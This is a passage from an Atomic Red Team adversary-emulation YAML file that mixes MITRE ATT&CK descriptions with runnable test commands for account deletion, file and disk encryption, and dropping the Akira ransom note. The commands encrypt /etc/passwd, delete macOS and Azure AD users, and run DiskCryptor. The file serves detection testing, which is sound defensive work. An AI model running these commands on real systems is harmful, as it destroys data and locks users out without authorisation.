-Members #{remove_user} -Credential $Credential -Confirm:$False } else{ write-host "Error - Make sure #{remove_user} is in the domain admins group" -foregroundcolor Red } name: powershell elevation_required: false - name: Change User Password via passwd auto_generated_guid: 3c717bf3-2ecc-4d79-8ac8-0bfbf08fbce6 description: 'This test changes the user password to hinder access to the account using passwd utility. ' supported_platforms: - macos - linux input_arguments: user_account: description: User account whose password will be changed. type: string default: ARTUser executor: command: 'passwd #{user_account} #enter admin password > enter new password > confirm new password ' name: sh elevation_required: true - name: Delete User via dscl utility auto_generated_guid: 4d938c43-2fe8-4d70-a5b3-5bf239aa7846 description: 'This test deletes the user account using the dscl utility. ' supported_platforms: - macos input_arguments: user_account: description: User account which will be deleted. type: string default: ARTUser user_password: description: User password. type: string default: ARTPassword executor: command: 'dscl . -delete /Users/#{user_account} #enter admin password ' cleanup_command: | dscl . -create /Users/#{user_account} #enter admin password dscl . -create /Users/#{user_account} UserShell /bin/bash dscl . -create /Users/#{user_account} UniqueID 503 dscl . -create /Users/#{user_account} NFSHomeDirectory /Users/#{user_account} dscl . -passwd /Users/#{user_account} #{user_password} #enter password for new user name: sh elevation_required: true - name: Delete User via sysadminctl utility auto_generated_guid: d3812c4e-30ee-466a-a0aa-07e355b561d6 description: 'This test deletes the user account using the sysadminctl utility. ' supported_platforms: - macos input_arguments: user_account: description: User account which will be deleted. type: string default: ARTUserAccount user_name: description: New user name. type: string default: ARTUser user_password: description: New user password. type: string default: ARTPassword executor: command: 'sysadminctl -deleteUser #{user_account} #enter admin password ' cleanup_command: 'sysadminctl -addUser #{user_account} -fullName "#{user_name}" -password #{user_password} ' name: sh elevation_required: true - name: Azure AD - Delete user via Azure AD PowerShell auto_generated_guid: 4f577511-dc1c-4045-bcb8-75d2457f01f4 description: Deletes a user in Azure AD. Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (excluding changed credentials) to remove access to accounts. supported_platforms: - azure-ad input_arguments: userprincipalname: description: User principal name (UPN) for the Azure user being deleted type: string default: atomicredteam@yourdomain.com dependency_executor_name: powershell dependencies: - description: Check if AzureAD PowerShell module is installed prereq_command: Get-InstalledModule -Name AzureAD get_prereq_command: echo "use the following to install AzureAD PowerShell module - Install-Module -Name AzureAD -Scope CurrentUser -Repository PSGallery -Force" - description: Check if AzureAD PowerShell module is installed prereq_command: Update the input arguments so the userprincipalname value is accurate for your environment get_prereq_command: echo "Update the input arguments in the .yaml file so that the userprincipalname value is accurate for your environment" executor: command: |- Connect-AzureAD $userprincipalname = "#{userprincipalname}" Remove-AzureADUser -ObjectId $userprincipalname cleanup_command: N/A name: powershell - name: Azure AD - Delete user via Azure CLI auto_generated_guid: c955c1c7-3145-4a22-af2d-63eea0d967f0 description: Deletes a user in Azure AD. Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (excluding changed credentials) to remove access to accounts. supported_platforms: - azure-ad input_arguments: userprincipalname: description: User principal name (UPN) for the Azure user being deleted type: string default: atomicredteam@yourdomain.com dependency_executor_name: powershell dependencies: - description: Check if Azure CLI is installed and install manually prereq_command: az account list get_prereq_command: echo "use the following to install the Azure CLI manually https://aka.ms/installazurecliwindows" - description: Check if Azure CLI is installed and install via PowerShell prereq_command: az account list get_prereq_command: echo "use the following to install the Azure CLI $ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://aka.ms/installazurecliwindows -OutFile .\AzureCLI.msi; Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet'; Remove-Item .\AzureCLI.msi" - description: Update the userprincipalname to meet your requirements prereq_command: Update the input arguments so the userprincipalname value is accurate for your environment get_prereq_command: echo "Update the input arguments in the .yaml file so that the userprincipalname value is accurate for your environment" executor: command: |- az login $userprincipalname = "#{userprincipalname}" az ad user delete --id $userprincipalname cleanup_command: N/A name: powershell T1486: technique: x_mitre_platforms: - Linux - macOS - Windows - IaaS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Oleg Kolesnikov, Securonix - Mayuresh Dani, Qualys - Harshal Tupsamudre, Qualys - Travis Smith, Qualys - ExtraHop object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0 created: '2019-03-15T13:59:30.390Z' x_mitre_version: '1.4' external_references: - source_name: mitre-attack external_id: T1486 url: https://attack.mitre.org/techniques/T1486 - source_name: CarbonBlack Conti July 2020 url: https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/ description: 'Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021.' - source_name: FireEye WannaCry 2017 url: https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html description: Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019. - source_name: Rhino S3 Ransomware Part 1 url: https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/ description: 'Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021.' - source_name: NHS Digital Egregor Nov 2020 url: https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary description: NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020. - source_name: US-CERT Ransomware 2016 url: https://www.us-cert.gov/ncas/alerts/TA16-091A description: 'US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019.' - source_name: US-CERT NotPetya 2017 url: https://www.us-cert.gov/ncas/alerts/TA17-181A description: 'US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.' - source_name: US-CERT SamSam 2018 url: https://www.us-cert.gov/ncas/alerts/AA18-337A description: 'US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.' x_mitre_deprecated: false revoked: false description: "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)\n\nIn the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) \n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\").(Citation: NHS Digital Egregor Nov 2020)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)" modified: '2022-11-08T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Data Encrypted for Impact x_mitre_detection: |- Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories. In some cases, monitoring for unusual kernel driver installation activity can aid in detection. In cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_is_subtechnique: false x_mitre_data_sources: - 'File: File Modification' - 'Cloud Storage: Cloud Storage Modification' - 'Network Share: Network Share Access' - 'File: File Creation' - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_impact_type: - Availability x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1486 atomic_tests: - name: Encrypt files using gpg (FreeBSD/Linux) auto_generated_guid: 7b8ce084-3922-4618-8d22-95f996173765 description: 'Uses gpg to encrypt a file ' supported_platforms: - linux input_arguments: pwd_for_encrypted_file: description: the password that you want for the encrypted file type: string default: passwd encrypted_file_path: description: path to the encrypted file type: path default: "/tmp/passwd.gpg" input_file_path: description: path to the file that you want to encrypt type: path default: "/etc/passwd" encryption_alg: description: encryption algorithm of the file type: string default: AES-256 dependency_executor_name: bash dependencies: - description: 'Finds where gpg is located ' prereq_command: 'which_gpg=`which gpg` ' get_prereq_command: "(which pkg && pkg install -y gnupg)||(which yum && yum -y install epel-release gpg)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y gpg)\n" executor: name: sh elevation_required: false command: 'echo "#{pwd_for_encrypted_file}" | $which_gpg --batch --yes --passphrase-fd 0 --cipher-algo #{encryption_alg} -o #{encrypted_file_path} -c #{input_file_path} ' cleanup_command: 'rm #{encrypted_file_path} ' - name: Encrypt files using 7z (FreeBSD/Linux) auto_generated_guid: 53e6735a-4727-44cc-b35b-237682a151ad description: 'Uses 7z to encrypt a file ' supported_platforms: - linux input_arguments: pwd_for_encrypted_file: description: the password that you want for the encrypted file type: string default: passwd encrypted_file_path: description: path to the encrypted file type: path default: "/tmp/passwd.zip" input_file_path: description: path to the file that you want to encrypt type: path default: "/etc/passwd" dependency_executor_name: bash dependencies: - description: 'Finds where 7z is located ' prereq_command: 'which_7z=`which 7z` ' get_prereq_command: "(which pkg && pkg install -y 7-zip)\n" executor: name: sh elevation_required: false command: "$which_7z a -p#{pwd_for_encrypted_file} #{encrypted_file_path} #{input_file_path}\n" cleanup_command: | $which_7z e #{encrypted_file_path} rm #{encrypted_file_path} - name: Encrypt files using ccrypt (FreeBSD/Linux) auto_generated_guid: '08cbf59f-85da-4369-a5f4-049cffd7709f' description: 'Attempts to encrypt data on target systems as root to simulate an inturruption authentication to target system. If root permissions are not available then attempts to encrypt data within user''s home directory. ' supported_platforms: - linux input_arguments: cped_file_path: description: path where you want your copied file to be type: path default: "/tmp/passwd" root_input_file_path: description: path to the file that you want to be encrypted if you are root user type: path default: "/etc/passwd" user_input_file_path: description: path to file that you want to be encrypted if you are normal user type: path default: "~/.bash_history" impact_command: description: command to show impact of encryption type: string default: sudo su dependency_executor_name: sh dependencies: - description: 'Finds where ccencrypt and ccdecrypt is located and copies input file ' prereq_command: | which_ccencrypt=`which ccencrypt` which_ccdecrypt=`which ccdecrypt` if [ $USER == "root" ]; then cp #{root_input_file_path} #{cped_file_path}; else cp #{user_input_file_path} #{cped_file_path}; fi get_prereq_command: "(which pkg && pkg install -y ccript)||(which yum && yum -y install epel-release ccrypt)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y ccrypt)\n" executor: name: sh elevation_required: false command: 'if [ $USER == "root" ]; then $which_ccencrypt #{root_input_file_path}; file #{root_input_file_path}.cpt; #{impact_command}; else $which_ccencrypt #{user_input_file_path}; file #{user_input_file_path}.cpt; #{impact_command}; fi ' cleanup_command: "if [ $USER == \"root\" ]; then mv #{cped_file_path} #{root_input_file_path}; else cp #{cped_file_path} #{user_input_file_path}; fi \n" - name: Encrypt files using openssl (FreeBSD/Linux) auto_generated_guid: 142752dc-ca71-443b-9359-cf6f497315f1 description: 'Uses openssl to encrypt a file ' supported_platforms: - linux input_arguments: private_key_path: description: path to the private key type: path default: "/tmp/key.pem" public_key_path: description: path to the public key type: path default: "/tmp/pub.pem" encryption_bit_size: description: size of the bit of encryption type: integer default: 2048 encrypted_file_path: description: path to the encrypted file type: path default: "/tmp/passwd.zip" input_file_path: description: path to the file that you want to encrypt type: path default: "/etc/passwd" dependency_executor_name: bash dependencies: - description: 'Finds where openssl is located ' prereq_command: 'which_openssl=`which openssl` ' get_prereq_command: '' executor: name: sh elevation_required: false command: | $which_openssl genrsa -out #{private_key_path} #{encryption_bit_size} $which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path} $which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_path} -out #{encrypted_file_path} cleanup_command: | $which_openssl rsautl -decrypt -inkey #{private_key_path} -in #{encrypted_file_path} rm #{encrypted_file_path} - name: PureLocker Ransom Note auto_generated_guid: 649349c7-9abf-493b-a7a2-b1aa4d141528 description: "building the IOC (YOUR_FILES.txt) for the PureLocker ransomware \nhttps://www.bleepingcomputer.com/news/security/purelocker-ransomware-can-lock-files-on-windows-linux-and-macos/\n" supported_platforms: - windows executor: name: command_prompt elevation_required: true command: 'echo T1486 - Purelocker Ransom Note > %USERPROFILE%\Desktop\YOUR_FILES.txt ' cleanup_command: 'del %USERPROFILE%\Desktop\YOUR_FILES.txt >nul 2>&1 ' - name: Encrypt files using 7z utility - macOS auto_generated_guid: 645f0f5a-ef09-48d8-b9bc-f0e24c642d72 description: 'This test encrypts the file(s) using the 7z utility ' supported_platforms: - macos dependency_executor_name: sh dependencies: - description: 'Check if 7z command exists on the machine ' prereq_command: 'which 7z ' get_prereq_command: | echo Installing 7z, using brew /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" brew install p7zip input_arguments: file_password: description: Password to be provided for archiving the file type: string default: ARTPass encrypted_file_name: description: Name of the archive to be created type: string default: ARTArchive.7z input_file_path: description: Path to the file that you want to encrypt type: path default: "~/test.txt" executor: command: '7z a -p #{file_password} -mhe=on #{encrypted_file_name} #{input_file_path} ' cleanup_command: 'rm #{encrypted_file_name} ' name: sh elevation_required: false - name: Encrypt files using openssl utility - macOS auto_generated_guid: 1a01f6b8-b1e8-418e-bbe3-78a6f822759e description: 'This test encrypts the file(s) using the openssl utility ' supported_platforms: - macos input_arguments: encryption_option: description: Specifiy the required encryption option type: string default: "-pbkdf2" input_file_path: description: Path to the file that you want to encrypt type: path default: "~/test.txt" output_file_name: description: Path to the file that you want to encrypt type: string default: ARTFile executor: command: 'openssl enc #{encryption_option} -in #{input_file_path} -out #{output_file_name} ' cleanup_command: 'rm #{output_file_name} ' name: sh elevation_required: false - name: Data Encrypted with GPG4Win auto_generated_guid: 4541e2c2-33c8-44b1-be79-9161440f1718 description: Gpg4win is a Windows tool (also called Kleopatra which is the preferred certificate manager) that uses email and file encryption packages for symmetric encryption. It is used by attackers to encrypt disks. User will need to add pass phrase to encrypt file as automation is not allowed under newer versions. supported_platforms: - windows input_arguments: GPG_Exe_Location: description: Path of the GPG program type: path default: C:\Program Files (x86)\GnuPG\bin\gpg.exe File_to_Encrypt_Location: description: Path of File type: path default: "$env:temp\\test.txt" dependencies: - description: 'GPG must exist at (#{GPG_Exe_Location}) ' prereq_command: 'if (test-path ''#{GPG_Exe_Location}''){exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null invoke-webrequest "https://files.gpg4win.org/gpg4win-4.1.0.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\gpginstall.exe" cmd /c "PathToAtomicsFolder\..\ExternalPayloads\gpginstall.exe" /S executor: name: powershell elevation_required: false command: 'cmd /c ''#{GPG_Exe_Location}'' -c ''#{File_to_Encrypt_Location}'' ' cleanup_command: 'remove-item ''#{File_to_Encrypt_Location}.gpg'' -force -erroraction silentlycontinue | out-null ' - name: Data Encrypt Using DiskCryptor auto_generated_guid: 44b68e11-9da2-4d45-a0d9-893dabd60f30 description: 'DiskCryptor, an open source encryption utility, can be exploited by adversaries for encrypting all disk partitions, including system partitions. This tool was identified in a ransomware campaign, as reported on https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/. The documentation for DiskCryptor can be found at https://github.com/DavidXanatos/DiskCryptor. During the installation process, running dcrypt.exe starts the encryption console. It''s important to note that a system reboot is necessary as part of the installation. ' supported_platforms: - windows input_arguments: dcrypt_exe: description: The dcrypt.exe executable from dcrypt_setup.exe type: path default: dcrypt.exe dependency_executor_name: powershell dependencies: - description: 'dcrypt_setup will be installed at specified location (#{dcrypt_exe}) ' prereq_command: 'if (Test-Path "${env:ProgramFiles}/dcrypt/#{dcrypt_exe}") {exit 0} else {exit 1} ' get_prereq_command: | Write-Host Downloading DiskCryptor installer New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/DavidXanatos/DiskCryptor/releases/download/1.1.846.118/dcrypt_setup_1.1.846.118.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\dcrypt_setup_1.1.846.118.exe" Write-Host Install DiskCryptor Start-Process "PathToAtomicsFolder\..\ExternalPayloads\dcrypt_setup_1.1.846.118.exe" -Wait -ArgumentList "/s" executor: name: command_prompt elevation_required: true command: '""%PROGRAMFILES%\dcrypt"\#{dcrypt_exe}" ' - name: Akira Ransomware drop Files with .akira Extension and Ransomnote auto_generated_guid: ab3f793f-2dcc-4da5-9c71-34988307263f description: 'Dropping 100 files with random content and .akira File Extension and the Akira Ransomnote to c:\ ' supported_platforms: - windows executor: name: powershell elevation_required: true command: | 1..100 | ForEach-Object { $out = new-object byte[] 1073741; (new-object Random).NextBytes($out); [IO.File]::WriteAllBytes("c:\test.$_.akira", $out) } echo "Hi friends" >> $env:Userprofile\Desktop\akira_readme.txt echo "" >> $env:Userprofile\Desktop\akira_readme.txt echo "Whatever who you are and what your title is if you' re reading this it means the internal infrastructure of your company is fully or partially dead, all your backups - virtual, physical - everything that we managed to reach - are completely removed. Moreover, we have taken a great amount of your corporate data prior to encryption Well, for now let's keep all the tears and resentment to ourselves and try to build a constructive dialogue. We're fully aware of what damage we caused by locking your internal sources. At the moment. you have to know: " >> $env:Userprofile\Desktop\akira_readme.txt echo "1. Dealing with us you will save A LOT due to we are not interested in ruining your financially. We will study in depth your finance, bank income statements, your savings, investments etc. and present our reasonable demand to you. If you have an active cyber insurance, let us know and we will guide you how to properly use it. Also, dragging out the negotiation process will lead to failing of a deal" >> $env:Userprofile\Desktop\akira_readme.txt echo "2. Paying us you save your TIME, MONEY, EFFORTS and be back on track within 24 hours approximately. Our decryptor works properly on any files or systems, so you will be able to check it by requesting a test decryption service from the beginning of our conversation. [f you decide to recover on your own, keep in mind that you can permanently lose access to some files or accidently corrupt them — in this case we won't be able to help. " >> $env:Userprofile\Desktop\akira_readme.txt echo "3. The security report or the exclusive first-hand information that you will receive upon reaching an agreement is of a great value, since NO full audit of your network will show you the vulnerabilities that we' ve managed to detect and used in order to get into. identify backup solutions and upload your data." >> $env:Userprofile\Desktop\akira_readme.txt echo "4. As for your data, if we fail to agree, we will try to sell personal information/trade secrets/databases/source codes — generally speaking, everything that has a value on the darkmarket - to multiple threat actors at ones." >> $env:Userprofile\Desktop\akira_readme.txt echo "Then all of this will be published in our blog -" >> $env:Userprofile\Desktop\akira_readme.txt echo "" >> $env:Userprofile\Desktop\akira_readme.txt echo "https://akira.onion" >> $env:Userprofile\Desktop\akira_readme.txt echo "" >> $env:Userprofile\Desktop\akira_readme.txt echo "5. We're more than negotiable and will definitely find the way to settle this quickly and reach an agreement which will satisfy both of us" >> $env:Userprofile\Desktop\akira_readme.txt echo "" >> $env:Userprofile\Desktop\akira_readme.txt echo "If you' re indeed interested in our assistance and the services we provide you can reach out to us following simple instructions:" >> $env:Userprofile\Desktop\akira_readme.txt echo "" >> $env:Userprofile\Desktop\akira_readme.txt echo "1. Install TOR Browser to get access to our chat room - https://www.torproject.org/download/." >> $env:Userprofile\Desktop\akira_readme.txt echo "2. Paste this link — https://akira.onion" >> $env:Userprofile\Desktop\akira_readme.txt echo "3. Use this code - - to log into our chat." >> $env:Userprofile\Desktop\akira_readme.txt echo "" >> $env:Userprofile\Desktop\akira_readme.txt echo "Keep in mind that the faster you will get in touch, the less damage we cause" >> $env:Userprofile\Desktop\akira_readme.txt cleanup_command: "del $env:Userprofile\\Desktop\\akira_readme.txt \ndel c:\\test.*.akira\n" T1499: technique: modified: '2023-05-09T14:00:00.188Z' name: Endpoint Denial of Service description: | Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets. Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices. Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016) In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China) For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - Alfredo Oliveira, Trend Micro - David Fiser, @anu4is, Trend Micro - Magno Logan, @magnologan, Trend Micro - Vishwas Manral, McAfee - Yossi Weizman, Azure Defender Research Team x_mitre_deprecated: false x_mitre_detection: |- Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt. Externally monitor the availability of services that may be targeted by an Endpoint DoS. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace - Containers x_mitre_version: '1.1' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' - 'Sensor Health: Host Status' x_mitre_impact_type: - Availability type: attack-pattern id: attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4 created: '2019-04-18T11:00:55.862Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1499 external_id: T1499 - source_name: Cisco DoSdetectNetflow description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf - source_name: FSISAC FraudNetDoS September 2012 description: FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019. url: https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf - source_name: ArsTechnica Great Firewall of China description: Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019. url: https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/ - source_name: FireEye OpPoisonedHandover February 2016 description: 'Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.' url: https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html - source_name: USNYAG IranianBotnet March 2016 description: Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019. url: https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged - source_name: Symantec DDoS October 2014 description: Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019. url: https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' atomic_tests: [] T1496: technique: modified: '2024-02-14T21:00:00.467Z' name: Resource Hijacking description: "Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)\n\nAdversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_contributors: - David Fiser, @anu4is, Trend Micro - Alfredo Oliveira, Trend Micro - Jay Chen, Palo Alto Networks - Magno Logan, @magnologan, Trend Micro - Vishwas Manral, McAfee - Yossi Weizman, Azure Defender Research Team - Goldstein Menachem x_mitre_deprecated: false x_mitre_detection: Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - IaaS - Linux - macOS - Containers x_mitre_version: '1.5' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' - 'File: File Creation' - 'Network Traffic: Network Connection Creation' - 'Sensor Health: Host Status' - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_impact_type: - Availability type: attack-pattern id: attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783 created: '2019-04-17T14:50:05.682Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1496 external_id: T1496 - source_name: Unit 42 Hildegard Malware description: 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.' url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ - source_name: CloudSploit - Unused AWS Regions description: CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019. url: https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc - source_name: Sysdig Proxyjacking description: Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023. url: https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/ - source_name: Kaspersky Lazarus Under The Hood Blog 2017 description: GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019. url: https://securelist.com/lazarus-under-the-hood/77908/ - source_name: Trend Micro Exposed Docker APIs description: Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021. url: 